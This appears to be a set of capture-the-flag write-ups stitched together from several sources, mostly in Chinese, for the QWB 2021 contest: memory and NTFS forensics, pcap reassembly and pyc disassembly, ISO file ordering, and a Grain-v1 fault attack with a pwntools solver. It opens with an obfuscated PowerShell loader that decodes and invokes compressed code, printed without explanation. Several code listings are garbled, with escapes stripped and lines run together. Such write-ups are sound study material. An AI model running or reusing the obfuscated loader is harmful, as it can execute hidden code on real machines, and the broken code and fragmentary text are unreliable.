& ( $veRBOsepReFErEncE.tOstrINg()[1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd()
flag是 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication
The attacker maliciously accessed the user’s PC and encrypted specific volumes. How to decrypt the volume?(本题flag为非正式形式)
压缩包解压密码:fantasicqwb2021
volatility -f memory imageinfo
volatility -f memory --profile=Win7SP1x86_23418 filescan | grep 'txt'
volatility -f memory --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000007e02af80 -D ./
BitLocker 드라이브 암호화 복구 키 복구 키는 BitLocker로 보호되는 드라이브에서 데이터를 검색하기 위해 사용됩니다. 이 키가 올바른 복구 키인지 확인하려면 복구 화면에 표시된 것과 ID를 비교하십시오. 복구 키 ID: 168F1291-82C1-4B 전체 복구 키 ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9ED BitLocker 복구 키: 221628-533357-667392-449185-516428-718443-190674-375100 BitLocker驱动器加密恢复键 恢复密钥用于在被保护为BitLocker的驱动器中搜索数据。 如果您想确认此密钥是否正确,请比较恢复屏幕上显示的和ID。 恢复密钥ID:168F1291-82C1-4B 整体恢复密钥ID:168F1291-82C1-4BF2-B634-9CCCEC63E9ED BitLocker恢复键: 221628-533357-667392-449185-516428-718443-190674-375100
DiskGenius 解密
Wow,you have a great ability. How did you solve this? Are you a hacker? Please give me a lesson later.
找了半天最后发现这个内容就是 flag。。
赛后发现是原题
压缩包解压密码:fantasicqwb2021
首先是一个流量包,里面全是 TCP 和 HTTP 流量。而且是 206 分段传输,每个包传 1byte。
于是先导出为 JSON,然后写个脚本提取其中的每个 byte,最后合并得到一个二进制文件。
wireshark 直接导出的 JSON 里 http.response.line 包含多个,如果直接用 json.loads 只保留最后一个了,所以先要去掉无关的内容。
import json import re with open('http.json', 'r', encoding='utf-8') as fin: s = fin.read() re_num = re.compile( r'\"http\.response\.line\": \"content-range: bytes (\d+)-\d+/1987\\r\\n\"') re_nonnum = re.compile( r'(\"http\.response\.line\": (?!\"content-range: bytes (\d+)-\d+/1987\\r\\n\",).*)') s1 = re.sub(re_nonnum, '', s) with open('http_sub.json', 'w', encoding='utf-8') as fout: fout.write(s1) http = json.loads(s1) total = [b''] * 1987 idx_list = [] for x in http: source = x['_source'] layers = source['layers'] data = layers['data']['data.data'] data = bytes([int(data, 16)]) n = layers['http']['http.response.line'] idx = int(re.search(r'(\d+)-\d+/1987', n)[1]) idx_list.append(idx) total[idx] = data print(total) t = b''.join(total) with open('decode.pyc', 'wb') as f: f.write(t)
或者直接命令行用 tshark 更快,不过当时就没想到这么写喵呜呜呜。
按 index 把这个合并就行,bash 脚本类似这样
tshark -r ExtremelySlow.pcapng -T fields -e data -Y "http.response.line == \"content-range: bytes $idx-$idx/1987\x0d\x0a\"" 2>/dev/null
根据文件内容得知是个 pyc 文件。
但是直接拿在线工具或者 uncompyle6 反编译都不成,发现 magic number 有误。
参考
Python Uncompyle6 反编译工具使用 与 Magic Number 详解
https://github.com/google/pytype/blob/master/pytype/pyc/magic.py
可以发现文件头的这个 magic number 是随版本号递增的,而且比最新的 3.9.5 跨了一大截。
于是考虑拉个 py3.10 的镜像下来。
docker run --rm -it python:3.10.0b2
根据 magic number 确定就是最新的 Python 3.10.0b2
但还是需要反编译这个pyc
uncompyle6 https://pypi.org/project/uncompyle6/ 目前只支持 python 2.4-3.8
https://github.com/rocky/python-decompile3 不行
dis 可
>>> import marshal, dis >>> with open('decode.pyc','rb') as f: ... metadata = f.read(16) ... code_obj = marshal.load(f) ... >>> dis.dis(code_obj) 4 0 LOAD_CONST 0 (0) 2 LOAD_CONST 1 (None) 4 IMPORT_NAME 0 (sys) 6 STORE_NAME 0 (sys) 6 8 LOAD_CONST 0 (0) 10 LOAD_CONST 2 (('sha256',)) 12 IMPORT_NAME 1 (hashlib) 14 IMPORT_FROM 2 (sha256) 16 STORE_NAME 2 (sha256) 18 POP_TOP 16 20 LOAD_CONST 3 (<code object KSA at 0x7f1199dc7890, file "main.py", line 6>) 22 LOAD_CONST 4 ('KSA') 24 MAKE_FUNCTION 0 26 STORE_NAME 3 (KSA) 26 28 LOAD_CONST 5 (<code object PRGA at 0x7f1199dc7940, file "main.py", line 16>) 30 LOAD_CONST 6 ('PRGA') 32 MAKE_FUNCTION 0 34 STORE_NAME 4 (PRGA) 30 36 LOAD_CONST 7 (<code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>) 38 LOAD_CONST 8 ('RC4') 40 MAKE_FUNCTION 0 42 STORE_NAME 5 (RC4) 33 44 LOAD_CONST 9 (<code object xor at 0x7f1199dd4500, file "main.py", line 30>) 46 LOAD_CONST 10 ('xor') 48 MAKE_FUNCTION 0 50 STORE_NAME 6 (xor) 34 52 LOAD_NAME 7 (__name__) 54 LOAD_CONST 11 ('__main__') 56 COMPARE_OP 2 (==) 58 POP_JUMP_IF_FALSE 139 (to 278) 35 60 LOAD_CONST 12 (b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f') 62 STORE_NAME 8 (w) 38 64 LOAD_CONST 13 (b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~') 66 STORE_NAME 9 (e) 39 68 LOAD_CONST 14 (b'geo') 70 STORE_NAME 10 (b) 41 72 LOAD_CONST 15 (b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141') 74 STORE_NAME 11 (s) 42 76 LOAD_CONST 16 (b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1") 78 STORE_NAME 12 (t) 43 80 LOAD_CONST 17 (115) 82 LOAD_CONST 18 (97) 84 LOAD_CONST 19 (117) 86 LOAD_CONST 20 (114) 88 LOAD_CONST 21 ((2, 8, 11, 10)) 90 BUILD_CONST_KEY_MAP 4 92 STORE_NAME 13 (m) 44 94 LOAD_CONST 22 (119) 96 LOAD_CONST 23 (116) 98 LOAD_CONST 24 (124) 100 LOAD_CONST 25 (127) 102 LOAD_CONST 26 ((3, 7, 9, 12)) 104 BUILD_CONST_KEY_MAP 4 106 STORE_NAME 14 (n) 45 108 LOAD_NAME 13 (m) 110 LOAD_CONST 27 (<code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>) 112 LOAD_CONST 28 ('<dictcomp>') 114 MAKE_FUNCTION 0 116 LOAD_NAME 14 (n) 118 GET_ITER 120 CALL_FUNCTION 1 122 INPLACE_OR 124 STORE_NAME 13 (m) 47 126 LOAD_NAME 13 (m) 128 LOAD_CONST 29 (<code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>) 130 LOAD_CONST 30 ('<genexpr>') 132 MAKE_FUNCTION 0 134 LOAD_NAME 10 (b) 136 GET_ITER 138 CALL_FUNCTION 1 140 INPLACE_OR 142 STORE_NAME 13 (m) 48 144 LOAD_NAME 5 (RC4) 146 LOAD_NAME 15 (list) 148 LOAD_NAME 16 (map) 150 LOAD_CONST 31 (<code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>) 152 LOAD_CONST 32 ('<lambda>') 154 MAKE_FUNCTION 0 156 LOAD_NAME 17 (sorted) 158 LOAD_NAME 13 (m) 160 LOAD_METHOD 18 (items) 162 CALL_METHOD 0 164 CALL_FUNCTION 1 166 CALL_FUNCTION 2 168 CALL_FUNCTION 1 170 CALL_FUNCTION 1 172 STORE_NAME 19 (stream) 49 174 LOAD_NAME 20 (print) 176 LOAD_NAME 6 (xor) 178 LOAD_NAME 8 (w) 180 LOAD_NAME 19 (stream) 182 CALL_FUNCTION 2 184 LOAD_METHOD 21 (decode) 186 CALL_METHOD 0 188 CALL_FUNCTION 1 190 POP_TOP 50 192 LOAD_NAME 0 (sys) 194 LOAD_ATTR 22 (stdin) 196 LOAD_ATTR 23 (buffer) 198 LOAD_METHOD 24 (read) 200 CALL_METHOD 0 202 STORE_NAME 25 (p) 52 204 LOAD_NAME 6 (xor) 206 LOAD_NAME 9 (e) 208 LOAD_NAME 19 (stream) 210 CALL_FUNCTION 2 212 STORE_NAME 9 (e) 53 214 LOAD_NAME 6 (xor) 216 LOAD_NAME 25 (p) 218 LOAD_NAME 19 (stream) 220 CALL_FUNCTION 2 222 STORE_NAME 26 (c) 54 224 LOAD_NAME 2 (sha256) 226 LOAD_NAME 26 (c) 228 CALL_FUNCTION 1 230 LOAD_METHOD 27 (digest) 232 CALL_METHOD 0 234 LOAD_NAME 11 (s) 236 COMPARE_OP 2 (==) 238 POP_JUMP_IF_FALSE 131 (to 262) 56 240 LOAD_NAME 20 (print) 242 LOAD_NAME 6 (xor) 244 LOAD_NAME 12 (t) 246 LOAD_NAME 19 (stream) 248 CALL_FUNCTION 2 250 LOAD_METHOD 21 (decode) 252 CALL_METHOD 0 254 CALL_FUNCTION 1 256 POP_TOP 258 LOAD_CONST 1 (None) 260 RETURN_VALUE 33 >> 262 LOAD_NAME 20 (print) 264 LOAD_NAME 9 (e) 266 LOAD_METHOD 21 (decode) 268 CALL_METHOD 0 270 CALL_FUNCTION 1 272 POP_TOP 274 LOAD_CONST 1 (None) 276 RETURN_VALUE >> 278 LOAD_CONST 1 (None) 280 RETURN_VALUE Disassembly of <code object KSA at 0x7f1199dc7890, file "main.py", line 6>: 8 0 LOAD_GLOBAL 0 (len) 2 LOAD_FAST 0 (key) 4 CALL_FUNCTION 1 6 STORE_FAST 1 (keylength) 9 8 LOAD_GLOBAL 1 (list) 10 LOAD_GLOBAL 2 (range) 12 LOAD_CONST 1 (256) 14 CALL_FUNCTION 1 16 CALL_FUNCTION 1 18 STORE_FAST 2 (S) 10 20 LOAD_CONST 2 (0) 22 STORE_FAST 3 (j) 11 24 LOAD_GLOBAL 2 (range) 26 LOAD_CONST 1 (256) 28 CALL_FUNCTION 1 30 GET_ITER >> 32 FOR_ITER 29 (to 92) 34 STORE_FAST 4 (i) 12 36 LOAD_FAST 3 (j) 38 LOAD_FAST 2 (S) 40 LOAD_FAST 4 (i) 42 BINARY_SUBSCR 44 BINARY_ADD 46 LOAD_FAST 0 (key) 48 LOAD_FAST 4 (i) 50 LOAD_FAST 1 (keylength) 52 BINARY_MODULO 54 BINARY_SUBSCR 56 BINARY_ADD 58 LOAD_CONST 1 (256) 60 BINARY_MODULO 62 STORE_FAST 3 (j) 13 64 LOAD_FAST 2 (S) 66 LOAD_FAST 3 (j) 68 BINARY_SUBSCR 70 LOAD_FAST 2 (S) 72 LOAD_FAST 4 (i) 74 BINARY_SUBSCR 76 ROT_TWO 78 LOAD_FAST 2 (S) 80 LOAD_FAST 4 (i) 82 STORE_SUBSCR 84 LOAD_FAST 2 (S) 86 LOAD_FAST 3 (j) 88 STORE_SUBSCR 90 JUMP_ABSOLUTE 16 (to 32) >> 92 LOAD_FAST 2 (S) 94 RETURN_VALUE Disassembly of <code object PRGA at 0x7f1199dc7940, file "main.py", line 16>: 17 0 GEN_START 0 18 2 LOAD_CONST 1 (0) 4 STORE_FAST 1 (i) 19 6 LOAD_CONST 1 (0) 8 STORE_FAST 2 (j) 20 10 NOP 21 >> 12 LOAD_FAST 1 (i) 14 LOAD_CONST 3 (1) 16 BINARY_ADD 18 LOAD_CONST 4 (256) 20 BINARY_MODULO 22 STORE_FAST 1 (i) 22 24 LOAD_FAST 2 (j) 26 LOAD_FAST 0 (S) 28 LOAD_FAST 1 (i) 30 BINARY_SUBSCR 32 BINARY_ADD 34 LOAD_CONST 4 (256) 36 BINARY_MODULO 38 STORE_FAST 2 (j) 23 40 LOAD_FAST 0 (S) 42 LOAD_FAST 2 (j) 44 BINARY_SUBSCR 46 LOAD_FAST 0 (S) 48 LOAD_FAST 1 (i) 50 BINARY_SUBSCR 52 ROT_TWO 54 LOAD_FAST 0 (S) 56 LOAD_FAST 1 (i) 58 STORE_SUBSCR 60 LOAD_FAST 0 (S) 62 LOAD_FAST 2 (j) 64 STORE_SUBSCR 24 66 LOAD_FAST 0 (S) 68 LOAD_FAST 0 (S) 70 LOAD_FAST 1 (i) 72 BINARY_SUBSCR 74 LOAD_FAST 0 (S) 76 LOAD_FAST 2 (j) 78 BINARY_SUBSCR 80 BINARY_ADD 82 LOAD_CONST 4 (256) 84 BINARY_MODULO 86 BINARY_SUBSCR 88 STORE_FAST 3 (K) 19 90 LOAD_FAST 3 (K) 92 YIELD_VALUE 94 POP_TOP 96 JUMP_ABSOLUTE 6 (to 12) Disassembly of <code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>: 28 0 LOAD_GLOBAL 0 (KSA) 2 LOAD_FAST 0 (key) 4 CALL_FUNCTION 1 6 STORE_FAST 1 (S) 8 LOAD_GLOBAL 1 (PRGA) 10 LOAD_FAST 1 (S) 12 CALL_FUNCTION 1 14 RETURN_VALUE Disassembly of <code object xor at 0x7f1199dd4500, file "main.py", line 30>: 31 0 LOAD_GLOBAL 0 (bytes) 2 LOAD_GLOBAL 1 (map) 4 LOAD_CLOSURE 0 (stream) 6 BUILD_TUPLE 1 8 LOAD_CONST 1 (<code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>) 10 LOAD_CONST 2 ('xor.<locals>.<lambda>') 12 MAKE_FUNCTION 8 (closure) 14 LOAD_FAST 0 (p) 16 CALL_FUNCTION 2 18 CALL_FUNCTION 1 20 RETURN_VALUE Disassembly of <code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>: 0 LOAD_FAST 0 (x) 2 LOAD_DEREF 0 (stream) 4 LOAD_METHOD 0 (__next__) 6 CALL_METHOD 0 8 BINARY_XOR 10 RETURN_VALUE Disassembly of <code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>: 0 BUILD_MAP 0 2 LOAD_FAST 0 (.0) >> 4 FOR_ITER 9 (to 24) 6 STORE_FAST 1 (x) 8 LOAD_FAST 1 (x) 10 LOAD_FAST 1 (x) 12 LOAD_GLOBAL 0 (n) 14 LOAD_FAST 1 (x) 16 BINARY_SUBSCR 18 BINARY_XOR 20 MAP_ADD 2 22 JUMP_ABSOLUTE 2 (to 4) >> 24 RETURN_VALUE Disassembly of <code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>: 0 GEN_START 0 2 LOAD_FAST 0 (.0) >> 4 FOR_ITER 9 (to 24) 6 STORE_FAST 1 (i) 8 LOAD_FAST 1 (i) 10 LOAD_METHOD 0 (bit_count) 12 CALL_METHOD 0 14 LOAD_FAST 1 (i) 16 BUILD_TUPLE 2 18 YIELD_VALUE 20 POP_TOP 22 JUMP_ABSOLUTE 2 (to 4) >> 24 LOAD_CONST 0 (None) 26 RETURN_VALUE Disassembly of <code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>: 0 LOAD_FAST 0 (x) 2 LOAD_CONST 1 (1) 4 BINARY_SUBSCR 6 RETURN_VALUE
人工手动逆向得到对应 python 代码大概如下
(有些地方没有完全按照字节码来写
import sys from hashlib import sha256 w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f' e = b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~' b = b'geo' s = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141' t = b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1" m = {2:115, 8:97, 11:117, 10:114} n = {3:119, 7:116, 9:124, 12:127} def KSA(key): keylength = len(key) S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % keylength]) % 256 S[i], S[j] = S[j], S[i] return S def PRGA(S): i = 0 j = 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] yield K def RC4(key): S = KSA(key) return PRGA(S) def xor(p,stream): return bytes(map(lambda x:x ^ stream.__next__(), p)) m |= {x: x^n[x] for x in n} m |= ((i.bit_count(), i) for i in b) stream = RC4(list(map(lambda m:m[1], sorted(m.items())))) print(xor(w, stream).decode()) p = sys.stdin.buffer.readline() e = xor(e, stream) c = xor(p, stream) if sha256(c).digest() != s: print(e.decode()) exit() print(xor(t, stream))
大约可以直到,这个地方通过爆破输入字符的长度,得到t的真实数据
可以发现,输入长度为 26 的时候,会提示说 Congratulations! Now you should now what the flag is,这个就是 t 的解密结果。而其他情况都不能正确解码。
于是就去找哪里还有这个输入。
然后发现用 pyc 隐写了一部分内容,使用脚本 stegosaurus 导出 pyc 隐写。
需要魔改一下 header,python 3.10 长度是16.
另外输出的话不用转 str,直接 bytes 就好了。
或者脚本
result=""
with open("py.txt","r") as f:
for line in f.readlines():
if line:
result+=line.strip()
print(result)可以通过字节码写出py文件,最后是pyc隐写,网上找个脚本修改,得到flag
w = b'xf6xefx10Hxa9x0fx9fxb5x80xc1xdxaexd3x03xb2x84xc2xb4x0exc8xf3<x151x19nx8f'
e = b'$r9xa3x18xddWxc9x97xf3xa7xa8R~'
b = b'geo'
s = b'}xce`xbejxa2x120xb5x8ax94x14{xa3x86xc8xc7x01x98xa3_x91xd8x82T*Vxabxe0xa1x141'
t = b"Q_xe2xf8x8cx11M}'<@xceTxf6?_mxa4xf8xb4xeaxcaxc7:xb9xe6x06x8bxebxfabHx85xJ3$xddxdexb6xdcxa0xb8bx961xb7x13=x17x13xb1"
m = {2:115, 8:97, 11:117, 10:114}
n = {3:119, 7:116, 9:124, 12:127}
def KSA(key):
key_length = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield Kdef RC4(key):
S = KSA(key)
return PRGA(S)def xor(p,stream):
return bytes(map(lambda x:x ^ stream.__next__(), p))
m.update({x:x^n[x] for x in n})
mm = {5:103,4:101,6:111}
m.update(mm)
stream=RC4(list(map(lambda x: x[1],sorted(m.items()))))
banner = xor(w, stream).decode()
wrong = xor(e, stream).decode()
pp = b'xe5n2xd6"xf0}Ixb0xcdxa2x11xf0xb4Ux166xc5oxdbxc9xeadx04x15b'
result = xor(pp, stream)
print(xor(t, stream))
print(result)
得到长度为 26 的 bytes
b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b'
最后将这个作为输入,然后让上述代码的 c 打印出来,即为 flag
flag{P0w5rFu1_0pEn_50urcE}
We follow ISO1995. ISO1995 has many problems though. One known problem is a time.
压缩包解压密码:fantasicqwb2021
下载下来以 iso9660 挂载
mount -t iso9660 iso1995 /mnt/随便一个目录
发现有一堆名为 flag_fxxxxx (xxxx为数字)的文件。
用 ultraISO 把文件导出来,发现每个文件只有一个字符。
另外根据题目提示,查看 hex 发现他每个文件名之前的 FFFFFFFF 之后跟着的 2bytes 都不同,怀疑是个序号或者时间之类的。
于是写个脚本提取,转成十进制作为文件名并按照这个顺序把文件内容读取出来。
import re with open('iso1995_trunk_hex', 'r', encoding='utf-8') as fin: s = fin.read() s = s.strip().replace(' ', '').replace('\n', '') print(s) re_num = re.compile( r'FFFFFFFF(\w{4})08020000010000011A0066006C00610067005F006600(\w{18})') l = re_num.findall(s) len(l) filename_list = [] for i in l: name = int(i[0], 16) filename_list.append(name) decode_str2 = '' for i in filename_list: filename = f'./iso1995file/flag_f{str(i).rjust(5, "0")}' with open(filename, 'r', encoding='utf-8') as f: x = f.read() print(x) decode_str2 += x print(decode_str2)
FLAG{Dir3ct0ry_jYa_n41}
或者
import re
import struct
with open("iso1995", "rb") as f:
data = f.read()
pos_val = {}
res = []
for i, x in enumerate(re.finditer(rb"f\x00l\x00a\x00g\x00_\x00", data)):
index = x.start()-12
index = struct.unpack(">H", data[index:index+2])[0]
index_data = 0x26800 + (index * 0x800)
pos_val[index] = data[index_data:index_data+1].decode("utf-8")
for k, v in pos_val.items():
res.append(v)
print("".join(res))
赛后发现这个又是原题。。
Forensic.Find a file that a time attribute has been modified by a program. (本题flag为非正式形式)
压缩包解压密码:fantasicqwb2021
解压得到 $LogFile、$MFT (Master File Table)
NTFS Timestamp changes on Windows 10
Do you MFT? Here’s an MFT Overview.
最后又找到了个 NTFS Log Tracker 工具
导入之后可以看到相关信息
找了老半天时间参数被修改的文件,最后发现是这个(
可以把时间导出来发现秒以下都是 000000…
或者
使用X-Ways-Forensics打开$MFT,专业工具->将镜像文件转为磁盘
调整记录更新时间排序即可发现,最新的被修改过的文件
提交的 flag 就是
{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png
flag{Welc0me_tO_qwbS5_Hope_you_play_h4ppily}
题目用的是Grain_v1,根据题意,需要猜32次guess
32轮相互独立,每次key,iv不同且决定初始量,guess引入的是1-10bit的翻转,显然是一个DFA(DifferentialFault Attack)
这里从paper
Grain-v1 的多比特差分故障攻击【密码学报 ISSN 2095-7025CN 10-1195/TN】中找到灵感(另外这一片很像这篇paper:Differential Fault Attack against Grainfamily with very few faults and minimal assumptions()的翻译啊)
于是这里我首先将key和iv固定,随机选择guess,运行160轮,查看zi的differential,发现并没有固定项
随后我将guess固定,key和iv随机选择,运行160轮。查看zi的differential,发现存在固定项。
于是自0-160,遍历guess将所有可能的固定项确定下来。
1的固定项用2**16-1去与
0的固定相用0去或
然后组合,而不固定项记为2
得到一个集合table3.data
import random
import string
import hashlib
import sys
from collections import deque
#from secret import plist, banner
plist = [i for i in range(150)]
import sys
assert max(plist) < 160class generator:
def __init__(self, key: list, iv: list, hint: bool, k=0, m=0):
self.NFSR = deque()
self.LFSR = deque()for i in range(80):
self.NFSR.append(key[i])for i in range(64):
self.LFSR.append(iv[i])for i in range(64, 80):
self.LFSR.append(1)self.clock()
if hint:
s = self.NFSR + self.LFSR
for i in range(k, k + m):
s[i] ^= 1
self.NFSR = deque(list(s)[:80])
self.LFSR = deque(list(s)[80:])def clock(self):
for i in range(160):
zi = self.PRGA()
self.NFSR[79] ^= zi
self.LFSR[79] ^= zidef PRGA(self):
x0 = self.LFSR[3]
x1 = self.LFSR[25]
x2 = self.LFSR[46]
x3 = self.LFSR[64]
x4 = self.NFSR[63]hx = x1 ^ x4 ^ (x0 & x3) ^ (x2 & x3) ^ (x3 & x4) ^ (x0 & x1 & x2) ^ (x0 & x2 & x3) ^ (x0 & x2 & x4) ^ (x1 & x2 & x4) ^ (x2 & x3 & x4)
zi = (self.NFSR[1] ^ self.NFSR[2] ^ self.NFSR[4] ^ self.NFSR[10] ^ self.NFSR[31] ^ self.NFSR[43] ^ self.NFSR[56]) ^ hx
fx = self.LFSR[62] ^ self.LFSR[51] ^ self.LFSR[38] ^ self.LFSR[23] ^ self.LFSR[13] ^ self.LFSR[0]
gx = self.LFSR[0] ^ self.NFSR[62] ^ self.NFSR[60] ^ self.NFSR[52] ^ self.NFSR[45] ^ self.NFSR[37]
^ self.NFSR[33] ^ self.NFSR[28] ^ self.NFSR[21] ^ self.NFSR[14] ^ self.NFSR[9] ^ self.NFSR[0]
^ (self.NFSR[63] & self.NFSR[60]) ^ (self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[15] & self.NFSR[9])
^ (self.NFSR[60] & self.NFSR[52] & self.NFSR[45]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21])
^ (self.NFSR[63] & self.NFSR[45] & self.NFSR[28] & self.NFSR[9]) ^ (
self.NFSR[60] & self.NFSR[52] & self.NFSR[37] & self.NFSR[33])
^ (self.NFSR[63] & self.NFSR[60] & self.NFSR[21] & self.NFSR[15]) ^ (
self.NFSR[63] & self.NFSR[60] & self.NFSR[52] & self.NFSR[45] & self.NFSR[37])
^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21] & self.NFSR[15] & self.NFSR[9]) ^ (
self.NFSR[52] & self.NFSR[45] & self.NFSR[37] & self.NFSR[33] & self.NFSR[28] & self.NFSR[21])self.LFSR.popleft()
self.LFSR.append(fx)
self.NFSR.popleft()
self.NFSR.append(gx)return zi
def proof_of_work():
s = "".join(random.choices(string.ascii_letters + string.digits, k=20))
prefix = s[:4]
print(f"sha256(xxxx + {s[4:]}) == {hashlib.sha256(s.encode()).hexdigest()}")
print("give me xxxx:")
ans = input().strip()
if len(ans) == 4 and ans == prefix:
return True
else:
return False#if not proof_of_work():
#sys.exit(0)#with open("/root/task/flag.txt", "r")as f:
#flag = f.read()#print(banner + "n")
print("Welcome to my number guessing game. If you win the game, I'll give you the flagn")count = 0
glist = random.choices(plist, k=32)
table1 = set()
table2 = set()
table3 = {}
#glist[round]
for guess in range(160):
z1 = 2**160-1
z2 = 0
for round in range(160):
k = guess // 2
m = guess % 10
if m == 0:
m = 10
#print("k,m",k,m)
key = bin(random.getrandbits(80))[2:].zfill(80)
key = list(map(int, key))
iv = bin(random.getrandbits(64))[2:].zfill(64)
iv = list(map(int, iv))a = generator(key, iv, False) #
k1 = []
for i in range(160):
k1.append(a.PRGA())
k1 = int("".join(list(map(str, k1))), 2)b = generator(key, iv, True, k, m) #
k2 = []
for i in range(160):
k2.append(b.PRGA())
k2 = int("".join(list(map(str, k2))), 2)
#print(f"round {round+1}")
#print("Here are some tips might help your:")
#print(bin(k1)[2:].rjust(160,"0"))
#print(bin(k2)[2:].rjust(160,"0"))
#print(bin(k1^k2)[2:].rjust(160,"0"))
z1 &= k1^k2
z2 |= k1^k2
table1.add(str(z1))
table2.add(str(z2))
tmp1 = bin(z1)[2:].rjust(160,"0")
tmp2 = bin(z2)[2:].rjust(160,"0")
tmp3 =""
for i in range(len(tmp1)):
flag=0
if tmp1[i]=='1':
tmp3+='1'
flag=1
if tmp2[i]=='0':
tmp3+='0'
flag=1
if tmp1[i]=='1' and tmp2[i]=='0':
print("sth. strange")
if flag==0:
tmp3+='2'
table3[guess] = tmp3
print(tmp3)import pickle
with open("table3.data","wb") as f:
pickle.dump(table3,f)
随后与远程交互得到一组z1和z2,查看其Differential,然后去table里一个一个查,表中数据里,‘2’可直接忽略,‘1’和‘0’需要匹配,以此为if条件做筛选,最后发现答案刚好唯一。
from pwn import *import pickle
sh=remote("39.105.139.103","10002")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
context.log_level = 'debug'
def proof_of_work(sh):
sh.recvuntil("xxxx + ")
suffix = sh.recvuntil(')').decode("utf8")[:-1]
log.success(suffix)
sh.recvuntil("== ")
cipher = sh.recvline().strip().decode("utf8")
log.success(cipher)
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
log.success(proof)
sh.sendlineafter("give me xxxx:", proof)
with open("table3.data","rb") as f:
table = pickle.load(f)
#print(len(table))
proof_of_work(sh)
#sh.interactive()
def find(sig):
sig = (bin(sig)[2:].rjust(160,"0"))
for index,each in table.items():
#print(each)
#print(sig)
for i in range(len(each)):if each[i] == '2':
continue
elif each[i] != sig[i]:
break
else:
sh.sendline(str(index))
break
else:
print("no")for i in range(32):
sh.recvuntil("Here are some tips might help your:n")
z1 = int(sh.recvuntil("n")[:-1])
z2 = int(sh.recvuntil("n")[:-1])sh.recvuntil(">")
#print("z1,",z1)
#print("z2,",z2)
find(z1^z2)
sh.interactive()
最后
[*] Switching to interactivemode
[DEBUG] Received 0x37 bytes:
b'you are smart!n'
b'n'
b'flag{48ef413f0073134548e81124bdafed72}n'
you are smart!
